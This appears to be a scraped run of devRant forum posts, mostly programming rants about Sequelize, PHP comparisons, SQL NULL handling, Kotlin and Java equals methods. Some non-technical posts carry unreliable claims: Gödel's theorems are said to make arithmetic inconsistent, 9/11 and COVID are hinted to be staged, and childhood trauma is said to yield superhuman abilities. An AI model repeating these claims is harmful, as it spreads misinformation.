And it's killing the analysis time... Old issue never fixed because whoever setup sonar was too incompetent to bother asking, researching, or fixing...
Is there a better way to override the equals to get the same result but without triggering SONAR issues?
Pretty sure this is a solved problem. And well if the top of my head, is just create a Util method that uses reflection like
Boolean equals( Object a, b, Class class)
foreach (String f: class, getFields()) {if !compare(class.getField(f,a),class.getField(f,b)) return false; }
return true5 -
So for the past two days I had to deal with a problem where I have to do a nested query with sequelize, pretty straight forward reading the documentation, or that was I think. I implemented everything according to the docs but the query stills fails, why ? I had no idea, I double check my implementation, I googled the error, no luck, after a day searching like crazy I talked with the backend lead about this and he help me to realize that the naming convention was changing because sequelize is creating a nested (SELECT * FROM) because one of the relations has a one-to-many realtion with the root model and I'm why the heck is doing that? But we both didn't know, and the problem was solved by just modifying the names, so we let it through, and sent it to QA. The next day I see the task rejected by QA and the reason was after the changes were merged another part of the app was broken, ok np, I'll fix it right away, and oh God I found the error was caused by another query that was including the first query we fix yesterday ! It was a nested query with 3 lvls! And the names became even more complex ( like `model1->model2.colum1`), goddamit, ok, I spent most of the day searching again, nothing, read the specification of the findAll function, nope, tried to put that name in the ON clause as the docs suggested, still an error, shit, then the lead helps me again and creates a literal which can hold that name and voila! Everything is happiness, at least for that moment, but I was still curious about this behavior, so I keep digging on it and I've just found an issue where a great guy posted an option to the findAll method that is not documented in any version of sequelize ! WTF ! And this option was "subQuery" which if you set it to false it won't create that additional (SELECT * FROM) from before, FUUUCK! I can't believe it, I know that all the effort works in my favor because I learn more about sequelize, but FFS I'm still angry because this shit shouldn't happen, you need to update the god damn docs, it's just adding a row and telling the people what it does. Well to end this, after putting that in the query and replacing all the workarounds with the expected syntaxis everything works like charm.1
-
I was working on a bug in a parser for the response from an api which returns 'n/a' when a certain measurement isn't available. The code was "if ($value == 'n/a')" and when this was true the value was rejected (language is php).
Some of you may instantly understand the problem here. I didn't. Some of the measurements were 0 which is ok, but for some reason it didn't accept them.
Then I discovered the bitter truth:
0 == 'n/a' is true!
Apparently php tries to convert the string to a number to compare it and if it fails it returns false, so false == 0
😞3 -
We have this C# class which is like the core of our entire business logic. If you are in another class and it doesn't contain an argument in the constructor and/or property of that core class you're gonna have a bad time.
That core class has lots of useful business logic bools, "IsSomething", "HasSomething" etc. However that core class has a parameterless constructor which is sprinkled dangerously throughout our app, meaning the object is often not initialised properly and it's a 2 day mindfuck to make sure your "IsSomething" bool is actually false and not just false because the other business logic that bool relies on wasn't initialised and the bool has never had a chance to be true.
It's difficult to trust even a simple "if' statement. And if you're somewhere were you've had a list of that core class passed in, you need to trace how the list was initialised to make sure all your bools have been set 😴4 -
Years ago I was in my late 20s.
Years and years ago.
If you asked me if I'd be drawn into a colossal waste of time as the whole country seemed to quite suddenly turn insane, i'd have called you crazy.
If you said 'you will have the same jobs at points others, you'll be tricked into driving around places under false pretenses and you'll have sex with 500+ women and keep forgetting because they'll find a way to tire you out or take advantage of some subject matter mirroring a childhood trauma' i'd say you were crazy.
well... none of you said that, so you're all crazy. otherwise now i'd say you were all honest and upright.
other than that my first day of repeat work was fine. thanks for asking. it feels good to do honest things for money.
maybe they like making me slowly filthy from some weird sex thing.
maybe this is a mating ritual of some sort lol
'fuck me you dirty dockworking ex jailbird on your way to becoming a developer all over again, you remind me of dad !"1 -
On science and religion. Inspied by a comment in another rant, credits to @Commodore and @cjbatz
According to Godel's incompletness theorems, aritmetics is incomplete and inconsistent. Therefore, any science based on aritmetics (dude, like, every) is also.
Therfore, as a mathematician, I must accept that there are things that cannot be proven by current science, and that there are statements that are true and false at the same time in current science.
So, science can't prove religious beliefs? It cant prove P vs NP either. It might someday. Science couldn't prove earth wasn't flat for a looong time. Or Pythagoras theorem.
But more importantly, if science can prove something, doesn't mean it can't prove the exact oposite.
This way of thinking allows for any and all ridiculous beliefs, under the shield of "it might be proven one day" or "doent't mean opposite isn't true also" but kerp in mind that there are complete and consistent sciences and proofs in them. Check if something's been proven to exist or not exist without doubt.11 -
Unicorn Themed day at code club ^_^
``` """ unicorn finder """
from random import randint
class UnicornFinder:
""" UnicornFinder class finds uncorns """
def __init__(self):
pass
def find_unicorn(self):
""" find a unicorn """
unicorn = True
for i in range(0, 31):
if randint(0, 7) != 7:
unicorn = False
break
if unicorn:
print("u200 unicorn found")
else:
print("u404:: unicorn not found")
if __name__ == '__main__':
UnicornFinder().find_unicorn()
```1 -
Pps with Nuxt experience, please help: Nuxt has a config option "ssr" that can be set to false: https://nuxtjs.org/docs/...
My question is: what is the point of using Nuxt if you set ssr to false, considering that I would use a lighter solution for static sites, or just Vue for an SPA?8 -
Recently had trouble with some SQL. My tests would not pass, so I had to manually run it to debug it.
SELECT * FROM a JOIN b ON [...] WHERE b.foo NOTNULL
Yielded 0 of 3 rows. Expected 1
Tried querying WHERE b.foo ISNULL instead. Would have expected 2 of 3 rows, but got 1.
After googling i discovered that comparing with NULL does not return a true/false binary description, but may also return unknown if the type is not a NULL type, e.g. 42 ISNULL =" UNKNOWN
😳 -
class devRantPost
{
bool isRant = false;
string title = "Feature idea";
string content = "\n
If you try to buy something and the purchase fails, the error message should say this: Stop trying to use Lucky Patcher!";
bool isTried = totallyNot;
bool isWorked = false;
string purpose = "Research";
string content2 = "Pls don't ban me!";
}3 -
We have a huge domain model in Java and something is really fucked up with our equals/hashcode implementations and know body can track it down.
I have suggested Lombok/Groovy several times but they didn't listen.
Anyways it is so fucked up, that map.contains(foo) returns false, although it is part of the map.
So we wrote something like this:
for (Entity e: map.keyset) {
if (foo.equals(e) {
return true;
}
}1 -
When a child experiences extreme adversity, physical, emotional and sexual abuse, neglect and trauma; There are two possible outcomes.
1) Drug abuse, addicition, financial problems, depression, anxiety, isolation, bad grades and unemployment, early death or suicide.
Or if the child manages to survive, go past the adversity:
2) Become a superhuman. Experience entertainment, happiness in small things even more. Utilize dissociative identity disorder by achieving mental and physical prowess by false yet true belief of the persona.6 -
#!/bin/bash
let rant=false
Has anyone figured out how to use a magic mouse with a kvm? I have a kvm which I am thinking about putting a Bluetooth dongle into and pairing with magic mouse. Does anyone know if this would work?3 -
This more how I got back into dev.
I made a mistake and got out of dev for a year or so. What hooked me back in was hearing our C# lead missing that no applicants were passing his C# screening test. I'd never written a line of C# in my life but I had done C++ and Java, so I gave it a go, and apart from one small issue, he said my attempt was the best he'd seen in that recruitment drive. So I started picking up tickets and the rest is history.
The one small issue was doing `if (something == false)` instead of `if (!something)`. Where I work now the C# style guide actually recommends the former! -
I got my first client at upwork almost a week ago and the experience has been awful so far, not because of this client but because of the codebase, it's so bad, it is running DEBUG=True on production and if I turn it DEBUG=False things break for some fucking reason that makes no sense (I don't think that's true but the previous developer states it). The website is running on pythonanywhere which is weird, bootstrap is a nightmare, the database needs to be in sync all the time using a manage.py command that executes tasks received through a webhook from a Hubspot shit that has all the information. Just adding a simple edit/verify profile on that site is such a fucking nightmare. The whole project its full of holes and things that are just screaming to break, its like a fucking house of cards that falls to the ground the second I edit something and it looks like its my fault. I'm thinking of telling the client that I will no longer work on this project
-
me vs my job at mnc laggard part 9/n . previous @ https://devrant.com/rants/6602068/...
====
I think i have now realised why working at corporate MNC sucks: they are reluctant to make a good product for their end users.
- they first come up with feature without a proper planning and research.
- then they are in a rush to release it to live audience by ignoring the possible issues that could arise
- when they see it fail, they are like, okay with that and blame it as a failed experiment
- instead of removing/disabling it, they are okay to keep it remain alive in the app, even if it causes customer inconveneience.
- meanwhile, they put false reports for their higher managers as a success and when an enhancement/modification comes for that feature from the higher up, they again start the loop by pushing a new feature without proper planning and a rush
as a dev, it fuckin kills me. I joined in the middle of one of these ugly loops. The app has a camera feature where the camera will generate voices to take pictures and record video , like "goto next car view" , "close the bonnet and focus", etc while the user follows instructions.
the ticket for me was to just add a flash button to this camera. But the more i dive into it, the more i hate it:
- the existing camera implementation provides api for toggling a camera flash, but when i attached it with a ui button, it would not work
- the existing implementation will send images /videos as direct payload data, resulting in generating very large payload curls . our app has a curl logger and it starts crashing.
- the existing implementation also crashes at uploading videos.
So where does it trouble me?well, I have a ticket to add just a fucking button, but i will have to replace the whole camera module and start from scratch. also the crash causing loggers will need some workarounds, otherwise i could not check the apis. and my manager will be like "why are you taking so long to add a flashlight?" and i would be like "coz i wanna put this flashlight up your -2 -
I have a question here. (Or 2...) What would you do if at some point, you see a resume of a colleague where he puts false experiences and misrepresenting qualifications ?
And what if someone 'discover' he has like a ton of admin/confident info of his previous job ?8 -
i can never understand the theme behind kotlin.
THEY DON'T HAVE A FUCKING TERNARY OPERATOR!!![?:]
Like before realizing this, i thought yeah jetbrains has decided to make android development a privileged hobby and non beginner friendly , so its now creating an encoding like language, in the false theme of " reducing code size"
But now they remove WORLDWIDE KNOWN, OPTIMIZED , EASY TO READ AND USE AND UNDERSTAND FEATURE of ternary operator and replacing it with less powerful but same looking elvis operator.( and stating that using if else for that is a better option)
Like why? if your goal is to make a shitty encoding language that makes everything shorter and most of the things optional, why remove the already efficient if else encoder?
God knows when this stupid language is going to stop my brain from getting blasted11 -
If (method-exists (devrant->rantAboutBreakingUpWithGirlfriend ()){
Echo "This seriously sucks %#$@£¥";
}else {
Return false;
} -
Let us not forget that they've killed innocent Americans on this day. NSA staff has been told to leave work early.
If you've only seen it on TV or media, can you really believe it? Same thing goes for COVID. Have you really seen the virus under telescope with your own eyes?
Under this false pretext, 9/11, you and I are treated as terrorists. We've been stripped off our human rights and privacy. But perhaps, is it for the greater good?
Does greater good even exist?
I hope so. It's hard to make any sense out of this carefully planned chaos.
Never lose your questioning nature. Otherwise, you're indifferent from a sheep.
32 -
So I have this gulp task to minify javascript but it doesn't actually do that, It minifies in a single line which is actually correct, but it doesn't convert if/else into ternary and true/false to !0/!1?
> Gulp Task: https://pastebin.com/1d8k8juX
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